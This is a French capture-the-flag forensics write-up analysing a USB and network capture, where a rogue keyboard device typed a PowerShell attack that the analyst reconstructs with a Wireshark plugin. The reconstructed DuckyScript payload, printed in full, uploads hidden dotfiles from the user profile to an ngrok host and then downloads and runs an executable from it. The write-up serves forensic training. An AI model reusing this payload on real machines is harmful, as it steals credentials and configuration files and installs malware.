Vous avez plus d'informations sur ce que faisait l'administrateur, il faut désormais comprendre ce qui a bien pu se passer.
Maintenant que nous avons identifié l'administrateur potentiellement compromis, nous allons nous concentrer sur son poste de travail pour comprendre comment l'attaquant a pu opérer. Une des hypothèses est l'utilisation d'un périphérique malveillant. Nous avons donc branché le dongle Bluetooth de la souris de cet administrateur afin d'analyser son comportement. Une capture des transferts USB et des paquets réseau a été réalisée. À vous de l'analyser pour découvrir ce qu'il s'est passé.
Nous disposons du trafic USB et réseau issu d'un poste sur lequel une clé USB a été branchée. Il faut analyser ce dump pour comprendre ce qui s'est passé.
Ouvrez le dump dans Wireshark. La première question porte sur le VID : en examinant les échanges USB, nous retrouvons la réponse de l'appareil contenant le VID.
Nous pouvons voir qu'il y a 2 appareils qui communiquent: le 1.1.x et le 2.1.x, celui envoyant tous les paquets est le 2.1.x, nous en déduisons que c'est celui que nous cherchons. Il peut terminer par .0 ou .1 selon qu'il s'agit de l'endpoint 0 (contrôle) ou 1 (interrupt).

Nous observons plusieurs échanges USB. Le vendor ID indique qu'il s'agit d'un clavier ; les paquets URB Interrupt IN correspondent aux frappes de touches. Il faut donc reconstruire ces paquets pour reconstituer ce qui a été tapé.
Plusieurs méthodes sont possibles. Ici, nous utilisons un script disponible sur Github qui reconstruit les frappes et génère un fichier au format DuckyScript ce qui évite de le faire manuellement.
Le plugin utilisé : FlipperZero-BadUSB-Wireshark
Suivez le README du dépôt pour l'installer et l'exécuter.
Voici le script obtenu :
[+]Payload reconstructed:
GUI r
STRING powershell
ENTER
STRING Get-ChildItem
SPACE
STRING -Path
SPACE
STRING $env:USERPROFILE\*
SPACE
STRING -Recurse
SPACE
STRING -Force
SPACE
STRING -File
SPACE
STRING -ErrorAction
SPACE
STRING SilentlyContinue
SPACE
STRING |
SPACE
STRING Where-Object
SPACE
STRING {
SPACE
STRING $_.Name
SPACE
STRING -match
SPACE
STRING '^\.'
SPACE
STRING }
SPACE
STRING |
SPACE
STRING ForEach-Object
SPACE
STRING {
SPACE
STRING Invoke-WebRequest
SPACE
STRING -Uri
SPACE
STRING 'https://3a04493f5bf0.ngrok-free.app'
SPACE
STRING -Method
SPACE
STRING Post
SPACE
STRING -InFile
SPACE
STRING $_.FullName
SPACE
STRING -Headers
SPACE
STRING @{
SPACE
STRING 'X-Filename'
SPACE
STRING =
SPACE
SPACE
STRING "$($_.Name)-$(Get-Random
SPACE
STRING -Minimum
SPACE
STRING 000000
SPACE
STRING -Maximum
SPACE
STRING 999999)"
SPACE
STRING }
SPACE
STRING }
ENTER
STRING $dest=REDACTED;
SPACE
STRING New-Item
SPACE
STRING -ItemType
SPACE
STRING Directory
SPACE
STRING -Force
SPACE
STRING -Path
SPACE
STRING (Split-Path
SPACE
STRING $dest)
SPACE
STRING |
SPACE
STRING Out-Null;
SPACE
STRING Invoke-WebRequest
SPACE
STRING -Uri
SPACE
STRING 'https://3a04493f5bf0.ngrok-free.app/5ldseed.exe'
SPACE
STRING -OutFile
SPACE
STRING $dest;
SPACE
STRING Start-Process
SPACE
STRING -FilePath
SPACE
STRING $dest
ENTER
STRING exit
ENTER
On remarque la destination du binaire téléchargé ; on peut en déduire le chemin de l’exécutable.
La charge utile du script parcourt le dossier de l'utilisateur et exfiltre les fichiers dont le nom commence par un point. Supposés être cachés, ce sont typiquement des fichiers d'environnement ou de configuration.
L'attaquant utilise un tunnel ngrok impliquant que l'adresse est donc dynamique. Toutefois, il est possible d'identifier l'adresse IP du serveur ngrok dans le dump réseau.

En voyant le script Nous constatons qu'une requête HTTPS est faite par ficher d'environnement. Nous pouvons alors regarder le dump TCP/TLS pour voir les requêtes HTTPS, nous nous concentrons sur celles qui partent du client vers le serveur. Il s'agit d'HTTPS, donc nous ne voyons pas le contenu. Mais Nous pouvons tout de même compter le nombre de requêtes après que le handshake TLS ait été effectué. Nous pouvons ainsi trouver le nombre de fichiers exfiltrés.
Pour simplifier cela nous pouvons filtrer avec ce filtre Wireshark :
((((!(_ws.col.protocol == "USB")) && !(_ws.col.protocol == "Flipper Zero BadUSB")) && (_ws.col.protocol == "TCP")) && (frame.number > 1417)) && (ip.src == 10.0.10.158)
Celui-ci permet de ne garder que les paquets TCP provenant du client, et après le handshake TLS (après le paquet 1417). Nous pouvons donc compter le nombre de paquets en évitant ceux dupliqués et non pertinents. Nous pouvons également supprimer le dernier paquet qui correspond au téléchargement du binaire et non à l'exfiltration d'un fichier d'environnement.